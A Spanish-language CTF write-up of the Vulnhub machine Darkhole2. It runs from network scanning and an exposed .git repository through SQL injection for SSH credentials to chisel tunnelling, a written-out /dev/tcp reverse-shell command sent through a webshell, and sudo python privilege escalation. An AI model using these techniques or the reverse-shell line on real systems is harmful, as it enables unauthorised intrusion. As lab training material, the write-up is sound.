Post

Darkhole2 | CTF Writeup - Vulnhub

Posted
By Ian Barutta 4 min read

Darkhole2

Empezamos escaneando nuestra red local en búsqueda de la máquina Darkhole2 con arp-scan.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

> arp-scan -I ens33 --localnet

Interface: ens33, type: EN10MB, MAC: 00:0c:29:85:8e:61, IPv4: 192.168.216.133
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.216.1	00:50:56:c0:00:08	VMware, Inc.
192.168.216.2	00:50:56:e2:11:a1	VMware, Inc.
192.168.216.143	00:0c:29:be:87:55	VMware, Inc.
192.168.216.254	00:50:56:e7:c0:0d	VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.011 seconds (127.30 hosts/sec). 4 responded

> export IP=192.168.216.143

Aplicamos reconocimiento a la máquina víctima mediante la herramienta nmap, enumerando puertos y servicios.

1
2
3
4
5
6
7
8
9
10

# Nmap 7.93 scan initiated Sat Jan  6 00:10:57 2024 as: nmap -sS -T5 --min-rate 5000 -p- --open -oN scan.txt 192.168.216.143
Nmap scan report for 192.168.216.143
Host is up (0.000065s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:BE:87:55 (VMware)

# Nmap done at Sat Jan  6 00:10:58 2024 -- 1 IP address (1 host up) scanned in 1.12 seconds

Vemos que están abiertos los puertos 80 y 22 respectivamente. Para analizar más en profundidad, empleamos scripts básicos de reconocimiento nuevamente con la herramienta nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# Nmap 7.93 scan initiated Sat Jan  6 00:11:18 2024 as: nmap -sCV -p22,80 -oN versions.txt 192.168.216.143
Nmap scan report for 192.168.216.143
Host is up (0.00030s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 57b1f564289891516d70766ea552435d (RSA)
|   256 cc64fd7cd85e488a289891b9e41e6da8 (ECDSA)
|_  256 9e7708a4529f338d9619ba757127bd60 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: DarkHole V2
| http-git: 
|   192.168.216.143:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: i changed login.php file for more secure 
MAC Address: 00:0C:29:BE:87:55 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan  6 00:11:25 2024 -- 1 IP address (1 host up) scanned in 6.73 seconds

Resulta de interés que tengamos acceso al repositorio del proyecto. Primeramente, nos traemos el repositorio a local con wget -r http://$IP/.git/ e intentamos enumerar los logs y commits.

1.png

Vemos información crítica expuesta. Podemos ver qué son exactamente esos commits con git show .

![2.png]](/assets/img/darkhole2/2.png)

Intentamos iniciar sesión a la página web con los datos expuestos. Cuando iniciamos sesión, vemos el siguiente dashboard:

3.png

Si ponemos una comilla en el parámetro id de la URL, sucede lo siguiente:

4.png

Vemos que es vulnerable a una inyección SQL. Ordenamos por columnas con la query order by 1,2,3,4,5,6-- -, y llegamos a la conclusión de que están siendo utilizadas 6 columnas. Ahora, empleamos un ataque de tipo UNION SELECT.

5.png

¡Podemos enumerar la base de datos siendo utilizada y lo vemos reflejado en la web! Ahora, solo sigue enumerar las tablas y columnas.

6.png

Llama la atención la tabla de nombre ssh, sobretodo porque habíamos visto que estaba corriendo ssh por el puerto 22. Intentamos ver si hay información interesante:

7.png

Enumeramos las columnas user y pass:

8.png

Nos intentamos conectar por ssh con las credenciales obtenidas.

9.png

Dado que tenemos acceso a la máquina, intentamos enumerarla para escalar nuestros privilegios. Si hacemos ls -la, podemos ver que el archivo .bash_history tiene permisos de lectura con el usuario jehad. Si le aplicamos un cat, vemos lo siguiente:

10.png

Parecería ser que el puerto 9999 de la máquina está corriendo un servicio HTTP internamente. Intentamos ver que hay ahí mediante un curl.

11.png

Vemos que el usuario losy está corriendo esta PHP Webshell. Ahora bien, nos convendría a nosotros en nuestro equipo de atacante hacer un port forwarding para poder ver este puerto en nuestra máquina y así entablarnos una Reverse Shell. Nos descargamos chisel tanto en nuestra máquina atacante como en la máquina víctima. Desde la máquina atacante, nos levantamos un servidor HTTP con el comando python3 -m http.server 80 para poder obtener el binario de chisel desde la máquina víctima con el comando wget http://{ipAtacante}/chisel. Luego, aplicamos los siguientes comandos:

12.png

De esta forma, se creará un túnel por TCP que nos conectará el puerto 9999 de la máquina víctima con nuestro puerto 9999. Ahora sí, desde nuestra máquina atacante empleamos netcat para ponernos en escucha por el puerto 443 con nc -nlvp 443. Desde otra terminal, empleamos curl -x GET http://$IP/?cmd=bash -c 'bash -i >%26 /dev/tcp//443 0>%261' para poder entablarnos la Reverse Shell.

13.png

¡Listo! Ya estamos como el usuario losy. Hacemos un tratamiento de la tty:

14.png

Empezamos a enumerar y vemos la primera flag:

15.png

Nuevamente vemos el archivo .bash_history con permisos de lectura. Si le aplicamos un cat podemos apreciar lo siguiente:

16.png

Vemos una filtración de credenciales. En este caso, la contraseña de losy es gang. También vemos que intenta emplear sudo para ejecutar python como root. Esto significa que tiene privilegios a nivel de sudoers para ejecutar este binario. Lo confirmamos haciendo un sudo -l.

17.png

Ejecutamos python como root:

18.png

¡Listo! Ganamos acceso a la máquina como el usuario root y obtuvimos su flag.

PENTESTING, CTF
vulnhub writeup git infoleakage sqli
This post is licensed under CC BY 4.0 by the author.